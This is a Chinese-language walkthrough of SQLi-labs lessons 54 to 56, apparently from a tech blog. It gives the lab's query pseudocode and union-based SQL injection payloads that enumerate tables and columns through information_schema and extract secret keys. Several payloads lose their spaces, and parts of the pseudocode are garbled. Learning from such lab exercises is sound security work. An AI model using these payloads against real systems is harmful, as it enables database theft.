WEB常见漏洞之SQL注入(靶场篇—4)1

简介: WEB常见漏洞之SQL注入(靶场篇—4)

0x01 进阶挑战 54-65

Lesson-54

该题为单引号get型注入,利用方式包括联合查询、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

iftrue:

  输出查询信息;

else:

  输出报错;

注意:该题对查询次数进行了限制,我们需要在十次查询以内拿到 key,由于报错不输出 mysql 错误信息,因此不能使用报错注入。

使用联合查询判断注入点

id=1'--+

判断字段数

id=1' order by 3--+ //返回正确

id=1'orderby4--+ //返回异常

由此可判断字段数为4,通过 union select 查看回显位置

id=-1' union select 1,2,3--+

查询表名

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查询列名

id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='6r90s8mprd'--+

查询关键信息

id=-1' union select 1,2,group_concat(secret_OB1G) from 6r90s8mprd--+

成功拿到 key 值:lqZTCWPcYokbGQP8WQdImRzj

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

Lesson-55

该题为单括号get型注入,利用方式包括联合查询、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

iftrue:

  输出查询信息;

else:

  输出报错;

注意:该题与Lesson54的利用方式相同,只不过拼接方式由单引号变成了单括号,错误次数由10次变为14次

使用联合查询判断注入点

id=1)--+

判断字段数

id=1)orderby3--+ //返回正确

id=1)orderby4--+ //返回异常

由此可判断字段数为4,通过 union select 查看回显位置

id=-1)unionselect1,2,3--+

查询表名

id=-1)unionselect1,2,group_concat(table_name)from information_schema.tableswhere table_schema=database()--+

查询列名

id=-1)unionselect1,2,group_concat(column_name)from information_schema.columnswheretable_name='3lr3dby63p'--+

查询关键信息

id=-1)unionselect1,2,group_concat(secret_WSTL)from3lr3dby63p--+

成功拿到 key 值:omwh2fYfK0SrRVpuGRZai3X6

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

Lesson-56

该题为单括号单引号get型注入,利用方式包括联合查询、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

iftrue:

  输出查询信息;

else:

  输出报错;

注意:该题与Lesson54的利用方式相同,只不过拼接方式由单引号变成了单引号单括号,错误次数由10次变为14次

使用联合查询判断注入点

id=1')--+

判断字段数

id=1') order by 3--+ //返回正确

id=1')orderby4--+ //返回异常

由此可判断字段数为4,通过 union select 查看回显位置

id=-1') union select 1,2,3--+

查询表名

id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查询列名

id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='iw16doek28'--+

查询关键信息

id=-1') union select 1,2,group_concat(secret_CY51) from iw16doek28--+

成功拿到 key 值:uQlKpUNr7EbZHR4NfKausIEj

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

目录
相关文章
|
16天前
|
安全 关系型数据库 MySQL
Web安全-条件竞争漏洞
Web安全-条件竞争漏洞
27 0
|
12天前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
49 8
|
12天前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
18 3
|
14天前
|
安全 应用服务中间件 开发工具
Web安全-SVN信息泄露漏洞分析
Web安全-SVN信息泄露漏洞分析
50 2
|
16天前
|
JSON 安全 JavaScript
Web安全-JQuery框架XSS漏洞浅析
Web安全-JQuery框架XSS漏洞浅析
95 2
|
1月前
|
数据库 开发者 Python
web应用开发
【9月更文挑战第1天】web应用开发
41 1
|
27天前
|
数据可视化 图形学 UED
只需四步,轻松开发三维模型Web应用
为了让用户更方便地应用三维模型,阿里云DataV提供了一套完整的三维模型Web模型开发方案,包括三维模型托管、应用开发、交互开发、应用分发等完整功能。只需69.3元/年,就能体验三维模型Web应用开发功能!
60 8
只需四步,轻松开发三维模型Web应用
|
18天前
|
安全 API 开发者
Web 开发新风尚!Python RESTful API 设计与实现,让你的接口更懂开发者心!
在当前的Web开发中,Python因能构建高效简洁的RESTful API而备受青睐,大大提升了开发效率和用户体验。本文将介绍RESTful API的基本原则及其在Python中的实现方法。以Flask为例,演示了如何通过不同的HTTP方法(如GET、POST、PUT、DELETE)来创建、读取、更新和删除用户信息。此示例还包括了基本的路由设置及操作,为开发者提供了清晰的API交互指南。
72 6
|
17天前
|
存储 JSON API
实战派教程!Python Web开发中RESTful API的设计哲学与实现技巧,一网打尽!
在数字化时代,Web API成为连接前后端及构建复杂应用的关键。RESTful API因简洁直观而广受欢迎。本文通过实战案例,介绍Python Web开发中的RESTful API设计哲学与技巧,包括使用Flask框架构建一个图书管理系统的API,涵盖资源定义、请求响应设计及实现示例。通过准确使用HTTP状态码、版本控制、错误处理及文档化等技巧,帮助你深入理解RESTful API的设计与实现。希望本文能助力你的API设计之旅。
41 3
|
18天前
|
JSON API 数据库
从零到英雄?一篇文章带你搞定Python Web开发中的RESTful API实现!
在Python的Web开发领域中,RESTful API是核心技能之一。本教程将从零开始,通过实战案例教你如何使用Flask框架搭建RESTful API。首先确保已安装Python和Flask,接着通过创建一个简单的用户管理系统,逐步实现用户信息的增删改查(CRUD)操作。我们将定义路由并处理HTTP请求,最终构建出功能完整的Web服务。无论是初学者还是有经验的开发者,都能从中受益,迈出成为Web开发高手的重要一步。
40 4